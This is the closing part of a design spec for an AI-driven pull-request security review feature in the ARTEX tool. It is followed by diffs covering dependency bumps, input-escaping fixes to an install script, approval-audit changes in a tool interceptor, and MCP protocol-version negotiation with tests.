- On skip, post `conclusion: skipped` with a reason when comments are enabled.
- Public repositories: redact title/description/PoC/file locations for findings outside the diff; keep inline findings on changed lines visible.
- Recompute the check on triage, not only on scan completion.
### 7.9 Remediation and retest
- Only validated findings are eligible for remediation.
- Create a dedicated branch; never push to the PR head by default.
- Run the repository's existing test command in the sandbox; add a regression test only when the repository has a clear test convention.
- Store the unified diff, test command/output, and reproduction result. Open the PR/MR with a body that links the finding and the evidence.
- If the source PR merges mid-run, retarget the fix to the default branch (the vendor's documented behavior).
- A retest re-runs the reproduction/tests; `verified_fixed` marks the finding resolved, `not_fixed` keeps it open with evidence.
### 7.10 Security, cost, and limits
- **Prompt injection**: repository files, PR descriptions, and rules are untrusted; never let them override system instructions. Strip secrets before sending to a model.
- **Code execution**: verification runs in ARTEX's existing sandbox/proxy boundary; do not execute repo code on the server host.
- **Public repos**: apply redaction before publishing comments; a public comment can leak a vulnerability.
- **Idempotency**: `(repo, head_sha)` is the scan key; triage commands are idempotent by finding/state.
- **Cost control**: per-PR token and credit budget; fail closed to `skipped` when the budget is exhausted rather than scanning partially and publishing a misleading check.
- **Config trust**: read `.artex/config.yaml` from the default branch, not the PR head; invalid config fails open.
- **Audit**: store the check conclusion, policy threshold, finding dispositions, and recomputation timestamps.
### 7.11 Reuse map for ARTEX
| ARTEX component | Reuse |
| --- | --- |
| `db/findings.go`, `findings` table | Status vocabulary, lists, grouping, notifications; either extend or mirror in `cr_findings` |
| `db/finding_retests.go`, `agent/retester.go` | Retest lifecycle and `reproduced`/`fixed`/`inconclusive` verdicts |
| `server/finding_workflow.go` | Tool wiring for agent-driven finding updates |
| `llmpool`, `agent/provider.go` | Model selection, retries, quota, token accounting |
| `traffic/`, `intercept/` | Dynamic verification evidence and HTTP replay |
| `notify/` | Slack/email alerts for new gated findings |
| `guard/` | Tool approval and execution boundary |
| `web/` | New Code Review pages and PR detail views |
### 7.12 Phased delivery
**Phase 0 — Ingest and publish (no detection).**
GitHub App/webhook, repository config, eligibility, diff parse, check run with `skipped`/`in_progress`/`completed`, idempotency by head SHA. Acceptance: a PR with no findings gets a green check; an excluded PR gets `skipped` with the reason; a duplicate webhook does not create a second scan.
**Phase 1 — Deterministic rules and comments.**
Tree-sitter index, a small taint ruleset, inline annotations, `fail_on` gate, triage recompute. Acceptance: a seeded vulnerable handler is flagged at the right file/line; a `false_positive` triage turns the check green; a `fail_on: critical` policy fails only on critical/high.
**Phase 2 — LLM reviewer + validator.**
Reviewer proposes candidates; validator produces verified/unverified claims; merge by fingerprint; cost/token accounting. Acceptance: a false candidate is suppressed by the validator; the scan stays green; token usage is recorded per scan.
**Phase 3 — Dedup, feedback, and operations.**
Embedding/fingerprint dedup, `detection_count`, duplicate links, feedback commands (`!fp`, `!valid`, `!accepted_risk`, `!fixed`), Slack notifications, dashboard. Acceptance: the same finding across commits is deduped; feedback survives rescans; the dashboard shows fix rate and suppression rate.
**Phase 4 — Remediation and retest.**
Fix agent, unified diff, test execution, fix PR, retest. Acceptance: a validated finding produces a PR with a regression test; retest marks `verified_fixed`; a failed fix stays open with test output.
**Phase 5 — Dynamic verification.**
Target URLs + auth instructions, browser verification, dynamic verdict/evidence, public-repo redaction. Acceptance: a flagged SSRF/SQLi candidate is confirmed or refuted against a sandbox target; evidence is attached; no secrets leak into comments.
### 7.13 Acceptance criteria for "PR check works"
- Webhook → check in under a bounded time; idempotent retries.
- Check is advisory by default; `fail_on` is the only blocker.
- Findings map to real changed lines and include file, severity, category, evidence.
- False positives can be dismissed from GitHub without visiting the platform, and the check updates.
- Public comments never disclose PoC/secrets for outside-diff findings.
- Every scan records model, token/cost, commit, and policy used.
- No repository code executes outside the sandbox.
- All state transitions are visible and auditable.
## 8. Mapping: Reference behavior → ARTEX implementation
| Reference behavior | ARTEX implementation |
| --- | --- |
| GitHub App webhook + check run | New `codereview/webhook.go` + `publish.go`; GitHub App installation stored in `cr_repositories` |
| Repo indexing + call graph | `codereview/index.go`; tree-sitter symbols + call edges; persist in `cr_symbols`/`cr_call_edges` |
| Threat model + rules | Reuse ARTEX context documents/task context; add `.artex/rules.md` loader |
| Taint findings | `codereview/analyze.go` taint rules; store `taint_path` JSONB |
| Reviewer/validator agents | `codereview/review.go` + `validate.go`; reuse `llmpool` |
| Dynamic verification | `codereview/dynamic.go`; reuse `traffic`/intercept + sandbox |
| Triage state machine | Reuse `findings` status vocabulary or `cr_findings` with the same states |
| Remediation | `codereview/fix.go`; branch/PR creation; run tests in sandbox |
| Retest | Reuse `finding_retests` pattern; add `verified_fixed`/`not_fixed` |
| Slack notifications | Reuse `notify` |
## 9. Open questions
- Which static-analysis engine does the reference product use server-side? The client proves taint/call-graph data but not the engine.
- Are PR scans always LLM-reviewed, or only when static candidates exist? The model and agent fields suggest LLM review is normal.
- How are repository embeddings stored and refreshed? `embedding`/`similarity` exist in one finding variant, but the index internals are unknown.
- What is the exact ranking/scoring formula for PR risk? Only `riskRating`, `severityCounts`, and review narrative are exposed.
- How does dynamic verification authenticate to customer apps? `auth_instructions` (max 2,000 chars) and `auth_verification_status` are exposed; the browser automation is not.
- What are the model providers behind `Default`/`Legacy`? Not present in the client bundle.
- How does continuous red teaming schedule runs, choose scope, and hand findings into triage? The homepage advertises it, but no public documentation or client surface explains it.
## 10. Sources
- REA Evidence: `ev_455acd3a8b10796167f2499ac63b1e131a63e48e9696065a8b6633c6f9a47b3b` (authenticated bundle), `ev_f0d14c017237436a907624c1d8f4db8b7a81ee9309cfa2eb9cead52f6e9dcf9b` (static app graph), `ev_bb2c67fec41a43f211b557d91c9aff64e11b349cf641ca34ebbcc624a81d2d99` (dashboard screenshot).
- Vendor docs: `code-review/overview`, `/code-review/config`, `/code-review/rules`, `/code-review/findings-feedback`, `/platform/automations/remediation`, `/white-box-pentest/overview`, `/api-reference/scans/create-scan`, `/api-reference/hfw/get-package-verdict`.
- Client bundle: the app's `_nuxt/ba334sRx.js` bundle and related chunks; generated message fields/enums extracted statically. Minified function names are not original type names.
## 11. License and use
This document is original analysis for interoperability and research. The reference product is proprietary; do not copy its code, prompts, or assets. The reconstructed field names are factual observations of a public client schema. Any ARTEX implementation should be written independently against this behavioral specification and reviewed for license/legal compatibility before redistribution. Continuous red teaming is advertised as a third offering but has no public technical documentation; this document treats its internals as unknown and out of scope.
+9 -9
View File
@@ -1,6 +1,6 @@
module github.com/Autumn-27/artex
go 1.26.3
go 1.26.10
require (
github.com/Autumn-27/norma v0.4.3
@@ -11,9 +11,9 @@ require (
github.com/lqqyt2423/go-mitmproxy v1.9.2
github.com/miekg/dns v1.1.72
github.com/projectdiscovery/dnsx v1.2.3
golang.org/x/crypto v0.55.0
golang.org/x/net v0.58.0
golang.org/x/text v0.41.0
golang.org/x/crypto v0.58.0
golang.org/x/net v0.62.0
golang.org/x/text v0.43.0
modernc.org/sqlite v1.52.0
)
@@ -51,14 +51,14 @@ require (
go.uber.org/atomic v1.11.0 // indirect
go.uber.org/multierr v1.11.0 // indirect
golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 // indirect
golang.org/x/mod v0.40.0 // indirect
golang.org/x/sync v0.22.0 // indirect
golang.org/x/sys v0.47.0 // indirect
golang.org/x/tools v0.49.0 // indirect
golang.org/x/mod v0.41.0 // indirect
golang.org/x/sync v0.24.0 // indirect
golang.org/x/sys v0.49.0 // indirect
golang.org/x/tools v0.51.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
modernc.org/libc v1.72.3 // indirect
modernc.org/mathutil v1.7.1 // indirect
modernc.org/memory v1.11.0 // indirect
)
replace github.com/Autumn-27/norma => github.com/BaaRai/Norma v0.4.4-0.20261011224847-63b38dabc837
replace github.com/Autumn-27/norma => github.com/BaaRai/Norma v0.4.6
+16 -16
View File
@@ -1,5 +1,5 @@
github.com/BaaRai/Norma v0.4.4-0.20261011224847-63b38dabc837 h1:slZeNksaiCKS4XZSNnNIlmyqnfgDT/PGoPjOPrijnoE=
github.com/BaaRai/Norma v0.4.4-0.20261011224847-63b38dabc837/go.mod h1:BudWrf7iHl96FgHqFr/HwN3mKYmGjJDt+xL2ZHXfFZw=
github.com/BaaRai/Norma v0.4.6 h1:sEm58Gx7gw+UU/05aHZBZ+Xqm5dMYiuSQpc1aXnbElc=
github.com/BaaRai/Norma v0.4.6/go.mod h1:BudWrf7iHl96FgHqFr/HwN3mKYmGjJDt+xL2ZHXfFZw=
github.com/andybalholm/brotli v1.2.1 h1:R+f5xP285VArJDRgowrfb9DqL18yVK0gKAW/F+eTWro=
github.com/andybalholm/brotli v1.2.1/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
@@ -106,23 +106,23 @@ go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE=
go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
golang.org/x/crypto v0.55.0 h1:+KWHjbgOaAQ66dh/YlkZKHlz9ZUlq61AFirAR9ntP8M=
golang.org/x/crypto v0.55.0/go.mod h1:uq0V9dE/fzQuJtbnL+2EhWOE63vo164FY8xqEnV9xis=
golang.org/x/crypto v0.58.0 h1:COkYLr4k7nDI4r6QtMML2AfzeIswWHAJthLS6K/M/54=
golang.org/x/crypto v0.58.0/go.mod h1:Xh+kl5A+M0gMiWDytH2Hhr5Z7WbNCpv/eB/EFgfSk+w=
golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 h1:yqrTHse8TCMW1M1ZCP+VAR/l0kKxwaAIqN/il7x4voA=
golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8/go.mod h1:tujkw807nyEEAamNbDrEGzRav+ilXA7PCRAd6xsmwiU=
golang.org/x/mod v0.40.0 h1:hUv+3cXcdRHz08UmSiOob7sadHig73uo5bkXxQ/tvUs=
golang.org/x/mod v0.40.0/go.mod h1:0/weTWkPWGBikyTWAX3dkjVztMmBA5hM0DH6BElSupE=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek=
golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.62.0 h1:18ELalfM5+XNRwzM2nYqXsZQ9ByS1uhj2O/U7+5jqRY=
golang.org/x/net v0.62.0/go.mod h1:WgDCOTH8iwtB66T4/GfI94AHo/hhdb7Hah9NDseQfiI=
golang.org/x/sync v0.24.0 h1:iqiDrGoDgyuvAKrhLQthUEzU/R378N78gXbBjxed7oA=
golang.org/x/sync v0.24.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.49.0 h1:3NI7VXzL9+1WZD52Dx2ttoPwD5DWrFGpl9mFZDlmisI=
golang.org/x/tools v0.49.0/go.mod h1:SJNXV9DBKT0UbdttsQjbfJlAE/q+y36++zo3uL3N0Oo=
golang.org/x/sys v0.49.0 h1:XbzkgYJHdqh/8m2Uu0W/dQv8nktxx4BFHp1M0gROTXA=
golang.org/x/sys v0.49.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.43.0 h1:1QivrlhwAsnMOcqgOdl9my7s9OyZl8O5/UGUTJVXoWc=
golang.org/x/text v0.43.0/go.mod h1:hbSIYA/amXcRXTFSZqh8tWHEoqRvvbKPJ2uz/KU+a+s=
golang.org/x/tools v0.51.0 h1:k4Xc/1Om9jwkBJBo4NVLMSARBoWtK10mx+W5BnXCeAI=
golang.org/x/tools v0.51.0/go.mod h1:9eEncMayCV6zRMGhR5eZEC2iBx98qWcF1HZ9Z7wJOoA=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+21 -11
View File
@@ -9,6 +9,16 @@ warn(){ printf '\033[33m[!]\033[0m %s\n' "$*"; }
die(){ printf '\033[31m[x]\033[0m %s\n' "$*" >&2; exit 1; }
ask(){ local p="$1" d="${2:-}" a; read -rp "$p${d:+ [$d]}: " a; echo "${a:-$d}"; }
rand(){ head -c 18 /dev/urandom | base64 | tr -dc 'A-Za-z0-9' | head -c 24; }
# json_str prints $1 as a JSON string literal: backslash, double quote and the
# control characters read -r can return are escaped.
json_str(){
local s="$1"
s="${s//\\/\\\\}"; s="${s//\"/\\\"}"
s="${s//$'\t'/\\t}"; s="${s//$'\r'/\\r}"
printf '"%s"' "$s"
}
# sed_repl escapes $1 for the replacement side of s|...|...|: \, | and &.
sed_repl(){ printf '%s' "$1" | sed 's/[\\|&]/\\&/g'; }
# ── docker environment check / auto-install ───────────────────
ensure_docker(){
@@ -38,16 +48,15 @@ install_docker(){
local pw key
pw="$(ask 'Postgres password (press Enter to generate randomly)' "$(rand)")"
key="$(ask 'ANTHROPIC_API_KEY (may be empty, configure later in the UI)' '')"
sed -i.bak "s|^POSTGRES_PASSWORD=.*|POSTGRES_PASSWORD=${pw}|" .env
sed -i.bak "s|^ANTHROPIC_API_KEY=.*|ANTHROPIC_API_KEY=${key}|" .env
sed -i.bak "s|^POSTGRES_PASSWORD=.*|POSTGRES_PASSWORD=$(sed_repl "$pw")|" .env
sed -i.bak "s|^ANTHROPIC_API_KEY=.*|ANTHROPIC_API_KEY=$(sed_repl "$key")|" .env
rm -f .env.bak
ok ".env generated (POSTGRES_PASSWORD set)"
else
info "reusing existing .env"
fi
info "pulling images and starting..."
docker compose pull || true
docker compose up -d
info "building the image from this checkout and starting..."
docker compose up -d --build
ok "started → http://localhost:8787"
info "view logs: docker compose logs -f artex"
}
@@ -74,16 +83,17 @@ install_local(){
DB_SSL="$(ask 'sslmode (disable/require)' disable)" ;;
esac
# generate config.json
# generate config.json (string values JSON-escaped: a password may contain " or \)
case "$DB_PORT" in (*[!0-9]*|'') die "port must be a number: $DB_PORT" ;; esac
cat > config.json <<JSON
{
"database": {
"host": "${DB_HOST}",
"host": $(json_str "$DB_HOST"),
"port": ${DB_PORT},
"user": "${DB_USER}",
"password": "${DB_PASS}",
"dbname": "${DB_NAME}",
"sslmode": "${DB_SSL}"
"user": $(json_str "$DB_USER"),
"password": $(json_str "$DB_PASS"),
"dbname": $(json_str "$DB_NAME"),
"sslmode": $(json_str "$DB_SSL")
}
}
JSON
+18 -9
View File
@@ -476,11 +476,7 @@ func (i *Interceptor) Judge(ctx context.Context, tool string, arguments json.Raw
out.ProfileID = cfg.ProfileID
configJSON, _ := json.Marshal(cfg)
out.ConfigDigest = digestInput(configJSON)
if out.Message == "" {
out.Message = "[model] " + judgeActionLabel(out.Action)
} else if !strings.HasPrefix(out.Message, "[model]") {
out.Message = "[model] " + out.Message
}
out.Message = JudgeReason(out.Action, out.Message)
if out.Action == "ask" {
out.TimeoutEnabled = true
out.TimeoutSeconds = cfg.AskTimeoutSeconds
@@ -489,6 +485,19 @@ func (i *Interceptor) Judge(ctx context.Context, tool string, arguments json.Raw
return out, true
}
// JudgeReason is the reason stored for a judge verdict: the model's message, or
// a label for the action when it gave none, carrying db.ModelReasonPrefix so
// the db readers record decision_source='model'.
func JudgeReason(action, message string) string {
if message == "" {
return db.ModelReasonPrefix + " " + judgeActionLabel(action)
}
if !strings.HasPrefix(message, db.ModelReasonPrefix) {
return db.ModelReasonPrefix + " " + message
}
return message
}
func judgeActionLabel(action string) string {
switch action {
case "allow":
@@ -628,7 +637,7 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
case allowed := <-ch:
return allowed
case <-ctx.Done():
_, _ = i.db.ResolveIntercept(pendingID, "denied", "deny", "work cancelled")
_, _ = i.db.ResolveIntercept(pendingID, "denied", "deny", "work cancelled", "system")
_ = i.db.CompleteIntercept(pendingID, audit.RunID, audit.ToolUseID, "not_executed", "work cancelled before execution", false)
return false
}
@@ -649,7 +658,7 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
if allowed {
action = "allow"
}
resolved, err := i.db.ResolveIntercept(pendingID, "timeout", action, "approval timed out, applying timeout policy")
resolved, err := i.db.ResolveIntercept(pendingID, "timeout", action, "approval timed out, applying timeout policy", "system")
if err != nil {
return false
}
@@ -659,7 +668,7 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
}
return allowed
case <-ctx.Done():
_, _ = i.db.ResolveIntercept(pendingID, "denied", "deny", "work cancelled")
_, _ = i.db.ResolveIntercept(pendingID, "denied", "deny", "work cancelled", "system")
_ = i.db.CompleteIntercept(pendingID, audit.RunID, audit.ToolUseID, "not_executed", "work cancelled before execution", false)
return false
}
@@ -677,7 +686,7 @@ func (i *Interceptor) Decide(pendingID int64, allowed bool) error {
if allowed {
action, reason = "allow", "user approved execution"
}
resolved, err := i.db.ResolveIntercept(pendingID, status, action, reason)
resolved, err := i.db.ResolveIntercept(pendingID, status, action, reason, "human")
if err != nil {
return err
}
+51 -18
View File
@@ -28,7 +28,7 @@ import (
actool "github.com/Autumn-27/norma/tool"
)
const protocolVersion = "2025-06-18"
const protocolVersion = "2025-11-25"
const legacySSEProtocolVersion = "2024-11-05"
// ToolName mirrors mcp.ToolName so remote tools share the mcp__server__tool scheme.
@@ -66,6 +66,11 @@ type Client struct {
mu sync.Mutex
nextID int
sessionID string
// initialized is set once initialize succeeds. Until then the
// MCP-Protocol-Version header is omitted: the spec requires it on requests
// after initialization, and the offered version already travels in the
// initialize body.
initialized bool
// legacySSE is the pre-2025 MCP SSE transport used by servers such as GSL5.
legacySSE bool
@@ -247,18 +252,47 @@ func (c *Client) readLegacySSE(r *bufio.Reader) {
}
func (c *Client) initialize(ctx context.Context) error {
version := c.protocol
if version == "" {
version = protocolVersion
versions := []string{protocolVersion, "2025-06-18"}
if c.legacySSE {
versions = []string{legacySSEProtocolVersion}
}
if _, err := c.call(ctx, "initialize", map[string]any{
"protocolVersion": version,
"capabilities": map[string]any{},
"clientInfo": map[string]any{"name": "artex", "version": "0.2"},
}); err != nil {
return err
for i, version := range versions {
c.mu.Lock()
c.protocol = version
c.mu.Unlock()
result, err := c.call(ctx, "initialize", map[string]any{
"protocolVersion": version,
"capabilities": map[string]any{},
"clientInfo": map[string]any{"name": "artex", "version": "0.2"},
})
if err != nil {
if i+1 < len(versions) && isUnsupportedVersion(err) {
continue
}
return err
}
var negotiated struct {
ProtocolVersion string `json:"protocolVersion"`
}
c.mu.Lock()
if json.Unmarshal(result, &negotiated) == nil && negotiated.ProtocolVersion != "" {
c.protocol = negotiated.ProtocolVersion
}
c.initialized = true
c.mu.Unlock()
return c.notify(ctx, "notifications/initialized", map[string]any{})
}
return c.notify(ctx, "notifications/initialized", map[string]any{})
return fmt.Errorf("mcp: no supported protocol version")
}
// isUnsupportedVersion reports whether err is a server rejecting the offered
// protocol version: the spec's "Unsupported protocol version" (JSON-RPC -32602,
// or an HTTP 400 on the MCP-Protocol-Version header) or the
// UNSUPPORTED_PROTOCOL_VERSION code some servers return instead.
func isUnsupportedVersion(err error) bool {
msg := strings.ToLower(err.Error())
return strings.Contains(msg, "unsupported protocol version") ||
strings.Contains(msg, "unsupported_protocol_version")
}
// Tools lists the server's tools and adapts them to CoreTools.
@@ -438,17 +472,16 @@ func (c *Client) roundTrip(ctx context.Context, body rpcRequest, expectResp bool
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Accept", "application/json, text/event-stream")
version := c.protocol
if version == "" {
version = protocolVersion
c.mu.Lock()
sid := c.sessionID
initialized, version := c.initialized, c.protocol
c.mu.Unlock()
if initialized && version != "" {
req.Header.Set("MCP-Protocol-Version", version)
}
req.Header.Set("MCP-Protocol-Version", version)
for k, v := range c.headers {
req.Header.Set(k, v)
}
c.mu.Lock()
sid := c.sessionID
c.mu.Unlock()
if sid != "" {
req.Header.Set("Mcp-Session-Id", sid)
}
+160
View File
@@ -73,3 +73,163 @@ func TestStreamableClientRequestTimeout(t *testing.T) {
}
_ = c3.Close()
}
// initRequest captures what the client sent for one MCP request.
type initRequest struct {
method, header, bodyVersion string
}
func recordRequest(r *http.Request) (rpcRequest, initRequest) {
var req rpcRequest
_ = json.NewDecoder(r.Body).Decode(&req)
rec := initRequest{method: req.Method, header: r.Header.Get("MCP-Protocol-Version")}
if p, ok := req.Params.(map[string]any); ok {
rec.bodyVersion, _ = p["protocolVersion"].(string)
}
return req, rec
}
// TestStreamableClientProtocolVersions uses spec-shaped servers that each support
// one version: they answer initialize with their own version, accept a request
// without MCP-Protocol-Version, and reject any other header value. The client
// must send no version header on initialize and the negotiated one afterwards.
func TestStreamableClientProtocolVersions(t *testing.T) {
for _, supported := range []string{"2025-11-25", "2025-06-18", "2025-03-26"} {
t.Run(supported, func(t *testing.T) {
var seen []initRequest
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
req, rec := recordRequest(r)
seen = append(seen, rec)
if rec.header != "" && rec.header != supported {
w.WriteHeader(http.StatusBadRequest)
fmt.Fprint(w, `{"code":"UNSUPPORTED_PROTOCOL_VERSION"}`)
return
}
w.Header().Set("Content-Type", "application/json")
switch req.Method {
case "initialize":
fmt.Fprintf(w, `{"jsonrpc":"2.0","id":%d,"result":{"protocolVersion":%q,"capabilities":{},"serverInfo":{"name":"t","version":"0"}}}`, req.ID, supported)
case "notifications/initialized":
w.WriteHeader(http.StatusAccepted)
case "tools/list":
fmt.Fprintf(w, `{"jsonrpc":"2.0","id":%d,"result":{"tools":[]}}`, req.ID)
default:
http.NotFound(w, r)
}
}))
defer srv.Close()
c, err := New(context.Background(), "t", srv.URL, nil, false, 0)
if err != nil {
t.Fatalf("connect: %v", err)
}
defer c.Close()
if _, err := c.Tools(context.Background()); err != nil {
t.Fatalf("tools/list: %v", err)
}
if c.protocol != supported {
t.Fatalf("negotiated protocol = %q", c.protocol)
}
var inits int
for _, rec := range seen {
if rec.method == "initialize" {
inits++
if rec.header != "" {
t.Fatalf("initialize carried MCP-Protocol-Version %q", rec.header)
}
if rec.bodyVersion != protocolVersion {
t.Fatalf("initialize offered %q, want %q", rec.bodyVersion, protocolVersion)
}
continue
}
if rec.header != supported {
t.Fatalf("%s carried MCP-Protocol-Version %q, want %q", rec.method, rec.header, supported)
}
}
if inits != 1 {
t.Fatalf("initialize attempts = %d, want 1", inits)
}
})
}
}
// TestStreamableClientVersionRejectionForms keeps the fallback loop honest for
// servers that reject the initialize body version instead of negotiating: an
// HTTP 400 "Unsupported protocol version", the JSON-RPC -32602 error from the
// spec's example, and an unrelated failure that must not trigger a retry.
func TestStreamableClientVersionRejectionForms(t *testing.T) {
cases := []struct {
name string
reject func(w http.ResponseWriter, id int)
fallback bool
}{
{"http 400", func(w http.ResponseWriter, _ int) {
http.Error(w, "Bad Request: Unsupported protocol version", http.StatusBadRequest)
}, true},
{"json-rpc -32602", func(w http.ResponseWriter, id int) {
w.Header().Set("Content-Type", "application/json")
fmt.Fprintf(w, `{"jsonrpc":"2.0","id":%d,"error":{"code":-32602,"message":"Unsupported protocol version","data":{"supported":["2025-06-18"],"requested":"2025-11-25"}}}`, id)
}, true},
{"unrelated 401", func(w http.ResponseWriter, _ int) {
http.Error(w, "unauthorized", http.StatusUnauthorized)
}, false},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
var inits []initRequest
var after []initRequest
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
req, rec := recordRequest(r)
if req.Method == "initialize" {
inits = append(inits, rec)
if rec.bodyVersion != "2025-06-18" {
tc.reject(w, req.ID)
return
}
} else {
after = append(after, rec)
}
w.Header().Set("Content-Type", "application/json")
switch req.Method {
case "initialize":
fmt.Fprintf(w, `{"jsonrpc":"2.0","id":%d,"result":{"protocolVersion":"2025-06-18","capabilities":{},"serverInfo":{"name":"t","version":"0"}}}`, req.ID)
case "notifications/initialized":
w.WriteHeader(http.StatusAccepted)
default:
http.NotFound(w, r)
}
}))
defer srv.Close()
c, err := New(context.Background(), "t", srv.URL, nil, false, 0)
for _, rec := range inits {
if rec.header != "" {
t.Fatalf("initialize carried MCP-Protocol-Version %q", rec.header)
}
}
if !tc.fallback {
if err == nil {
_ = c.Close()
t.Fatal("expected connect error")
}
if len(inits) != 1 {
t.Fatalf("unrelated error retried: %d initialize attempts", len(inits))
}
return
}
if err != nil {
t.Fatalf("connect: %v", err)
}
defer c.Close()
if len(inits) != 2 || inits[0].bodyVersion != protocolVersion || inits[1].bodyVersion != "2025-06-18" {
t.Fatalf("fallback attempts = %+v", inits)
}
if c.protocol != "2025-06-18" {
t.Fatalf("negotiated protocol = %q", c.protocol)
}
if len(after) == 0 || after[0].method != "notifications/initialized" || after[0].header != "2025-06-18" {
t.Fatalf("requests after initialize = %+v", after)
}
})
}
}
+24
View File
@@ -79,4 +79,28 @@ type Message struct {
// HomeURL is the platform dashboard address (global public_base_url); empty
// means no dashboard entry is included.
HomeURL string
// Limits are the truncation limits to render with; nil means the defaults.
// A pointer because the zero value is meaningful (no truncation).
Limits *Limits
}
// Limits are the render-time truncation limits of a message, configured
// globally (see the server's notify_summary_max_runes / notify_assets_max_shown
// settings). In both fields 0 means no truncation; each channel's own length
// cap remains the final guard.
type Limits struct {
// SummaryRunes is how many characters the summary of a single push is
// compressed to.
SummaryRunes int
// AssetsShown is the maximum number of assets listed per vulnerability.
AssetsShown int
}
// limits returns the limits to render with, falling back to the defaults when
// none were passed in.
func (m Message) limits() Limits {
if m.Limits == nil {
return Limits{SummaryRunes: DefaultMaxSummaryRunes, AssetsShown: DefaultMaxAssetsShown}
}
return *m.Limits
}
+17 -12
View File
@@ -121,15 +121,20 @@ func feishuSeverityTemplate(severity string) string {
}
}
// feishuMaxCardBytes is a conservative cap on card content. Feishu enforces a
// size limit on cards and rejects the whole message when exceeded; pick a value
// clearly below the official limit to also cover JSON wrapping overhead.
const feishuMaxCardBytes = 24000
// feishuMaxCardBytes is a conservative cap on card content. Feishu custom bots
// reject a request body over 20 KB as a whole (not truncated); pick a value
// clearly below that limit to also cover JSON wrapping overhead.
const feishuMaxCardBytes = 16000
// feishuCard builds the interactive card and returns it along with the **number
// of items actually written**. kept serves the same purpose as in markdownBody:
// only items that actually made it into the card should be marked as sent.
func feishuCard(m Message) (map[string]any, int) {
lim := m.limits()
// budget is the final truncation backstop for one item's text, the same role
// TruncateBytes plays in markdownBody. With the summary or asset limit set to
// 0 an item has no other bound, and an oversized card loses the whole message.
budget := feishuMaxCardBytes - markdownReservedBytes
elements := []any{}
kept := 0
if m.Batch {
@@ -137,12 +142,12 @@ func feishuCard(m Message) (map[string]any, int) {
// "the remaining N items will continue in the next message", and N must
// come from the number of items that actually fit.
kept = packItemCount(m.Items, feishuMaxCardBytes, markdownReservedBytes, "", byteSize, func(it Item, idx int) string {
return feishuBatchLine(it, idx+1)
return feishuBatchLine(it, idx+1, lim)
})
items := m.Items[:kept]
elements = append(elements, feishuMarkdownDiv(markdownBatchIntro(m, items, len(m.Items))))
for i, it := range items {
elements = append(elements, feishuMarkdownDiv(feishuBatchLine(it, i+1)))
elements = append(elements, feishuMarkdownDiv(TruncateBytes(feishuBatchLine(it, i+1, lim), budget)))
}
if m.HomeURL != "" {
elements = append(elements, feishuButton("View all on the platform", m.HomeURL))
@@ -150,7 +155,7 @@ func feishuCard(m Message) (map[string]any, int) {
} else if len(m.Items) > 0 {
kept = 1
it := m.Items[0]
elements = append(elements, feishuMarkdownDiv(feishuItemLines(it)))
elements = append(elements, feishuMarkdownDiv(TruncateBytes(feishuItemLines(it, lim), budget)))
if it.DetailURL != "" {
elements = append(elements, feishuButton("View details", it.DetailURL))
}
@@ -189,7 +194,7 @@ func feishuButton(label, url string) map[string]any {
// emphasis, so every field coming from outside goes through markdownText
